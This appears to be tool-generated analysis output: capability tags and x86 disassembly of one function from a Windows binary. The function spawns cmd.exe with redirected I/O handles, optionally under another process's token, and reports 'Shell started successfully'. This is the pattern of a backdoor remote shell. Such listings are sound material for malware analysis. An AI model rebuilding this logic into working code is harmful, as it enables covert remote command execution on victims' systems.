Function at 0x401ba9
Capabilities:
Check if file exists
Create a process with modified i/o handles and window
Create process on windows
Get common file path
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
cmp dword [ebp + 0xc], 0xffffffff
push ebx
push esi
push edi
je 0x401e0d
mov esi, dword [ebp + 0x10]
cmp esi, 0xffffffff
je 0x401e0d
xor edi, edi
cmp dword [0x4047a0], edi
jne 0x401ddc
mov ebx, 0x104
lea eax, [ebp - 0x16c]
push ebx
push eax
push str._ComSpec_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
test eax, eax
jne 0x401c16
lea eax, [ebp - 0x16c]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x16c]
push str.cmd.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401c52
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0x64]
push str.GetFileAttributes_Error_code:__d_r_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x14
jmp 0x401dbc
push str._nCmdPath
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x16c]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
push 0x40420c
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
push 0x44
lea eax, [ebp - 0x44]
pop ebx
push ebx
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0x24
mov dword [ebp - 0xc], eax
mov eax, dword [0x404784]
cmp eax, edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x18], 0x101
mov word [ebp - 0x14], di
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
je 0x401d87
cmp dword [0x404788], edi
jne 0x401d87
push eax
call dword [sym.imp.MSVCRT.dll_atol]
cmp eax, edi
pop ecx
je 0x401d87
push eax
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401d13
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0x26c]
push str.OpenP_failed_with__d__n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x26c]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x14
jmp 0x401e0d
lea eax, [ebp + 0x10]
push eax
push 0xb
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401d53
lea eax, [ebp - 0x44]
push 0x404770
push eax
push edi
push edi
push edi
push 1
lea eax, [ebp - 0x16c]
pop esi
push esi
push edi
push edi
push eax
push edi
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x401d7e
mov dword [0x4047a0], esi
jmp 0x401d7e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0x26c]
push str.OpenT_failed_with__d__n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x26c]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x14
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401db1
lea eax, [ebp - 0x44]
push 0x404770
push eax
push edi
push edi
push edi
push 1
lea eax, [ebp - 0x16c]
pop esi
push esi
push edi
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401db1
mov dword [0x4047a0], esi
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x4047a0], edi
je 0x401dd5
push str.Shell_started_successfully__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x401e0d
push str.Shell_started_fail__r_n
jmp 0x401dc9
push str.Started_already_
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
push dword [0x404778]
lea eax, [ebp - 0x64]
push str._and_the_PID_is__d_r_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret